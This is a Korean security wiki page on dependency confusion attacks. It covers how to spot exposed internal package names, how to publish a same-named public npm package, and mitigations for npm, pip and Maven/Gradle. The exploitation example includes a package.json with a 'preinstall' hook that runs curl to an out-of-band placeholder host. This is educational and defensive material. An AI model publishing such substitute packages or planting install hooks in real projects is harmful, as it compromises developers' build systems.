Dependency Confusion
Offensive Security Engineer, Developer and H4cker.
Introduction
Dependency Confusion은 supply chain substitution attack 으로도 불리며 서비스에서 사용중인 내부 패키지와 동일한 이름의 패키지를 등록하여 악의적인 패키지가 설치 되도록 유도하는 공격입니다.
gem, pip, npm 등 패키지 매니저에 따라 다르지만, 정확하게 명시되지 않은 상태에서 외부/내부에 동일한 이름의 패키지가 있는 경우 외부에서 패키지를 가져오기도 합니다. 이를 이용한 공격 방법입니다.
e.g
[ packages ]
internal: xspear
public: xspear
[ gem install ]
gem install xspear (installed from public)
Offensive techniques
Detect
github 등 소스코드 repository에서 직접 internal 패키지를 확인하거나 /package.json , composer.json 등 외부에 의도하지 않게 노출되는 패키지 관련 파일을 참고하여 패키지 관리 도구에 등록되지 않은 이름이 있는 경우 Dependency Confusion의 가능성이 존재합니다.
- package.json (nodejs)
- composer.json (php)
- go.mod (go)
- Gemfile (ruby gem)
- requirements.txt (python pip)
- pom.xml (java maven)
- Etc..
이러한 패키지 관련 파일이 아니더라도 dependency 정보를 나타내주는 모든 페이지에서 dependency 정보를 얻을 수 있다면 테스팅 포인트가 됩니다.
Exploitation
npm. gem, pip 등 패키지 매니저에 공격코드를 포함한 패키지를 등록하는 형태로 exploit할 수 있습니다. npm 패키지를 예시로 들어보면 아래와 같습니다. npm 패키지에 필요한 package.json 파일과 main 파일인 js 파일을 하나 만든 후 scripts에 원하는 공격코드를 넣어두고 internal 패키지와 동일한 이름으로 public 패키지를 생성하고 등록하면 됩니다.
index.js
module.exports.hacked = function () {
return "hacked"
}
package.json
{
"name": "your-module-name",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "curl -i -k https://<OAST-SERVICE>"
},
"author": "hahwul",
"license": "MIT"
}
Defensive techniques
Hide dependency
package.json 같이 서비스에서 사용하는 dependency를 알 수 있는 파일은 외부에 노출되지 않도록 제한하는 것이 좋습니다.
GET /package.json | 200 => X
GET /package.json | 404 => O
GroupID 선점하기
npmjs.com, pypi.org 등에 패키지 등록 시 owner(groupId)를 먼저 선점하여 공격을 방지할 수 있습니다.
Scope internal package
패키지 매니저에서 직접 internal 패키지를 위한 절대경로를 지정할 수 있는 경우 이를 통해서 임의로 외부 패키지가 설치되는 것을 방지할 수 있습니다.
NodeJS (npm)
npmjs.com에 명시되지 않은 패키지는 모두 영향을 받습니다. 단 .npmrc 등에 registry를 지정 명시하여 완화할 수 있습니다. CI 시스템 등에서 사용되면 자동화 빌드 상태에서도 완화가 가능합니다.
registry=https://internal.domain/artifactory/api/npm/npm-virtual/
@schibsted:registry=https://internal.domain/artifactory/api/npm/npm-local/
@another-example:registry=https://internal.domain/artifactory/api/npm/npm-local/
Python (pip)
pypi.org에 명시되지 않은 패키지는 모두 영향을 받습니다. pip의 경우 scope나 grouping 기능이 없어 직접적인 완화방법은 없습니다. requirements.txt가 외부로 노출되지 않도록 신경써야 하며 빌드 단계에서 dependency 설치 시 internal과 external나눠 internal의 경우 외부 통신이 불가능한 샌드박싱 환경에서 빌드한다면 internal 패키지 설치만 유도할 수 있어 나름대로 완화가 가능합니다.
Java (maven/gradle)
dependency 파일 작성 시 도메인 기반으로 사용하여 완화할 수 있습니다. 이외에도 5가지 정도의 방법이 더 있습니다.
- Verifying dependencies with Gradle's trusted-key
- Repository filtering using includeGroup, includeGroupByRegex
- Gradle Wrapper checksum verification
- Dependency Locking
- Reproducible Builds
Tools
- https://github.com/visma-prodsec/confused (package scanner)
- package.json - nuclei template
- composer.json - nuclei template
- github gemfiles - nuclei template
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Dependency%20Confusion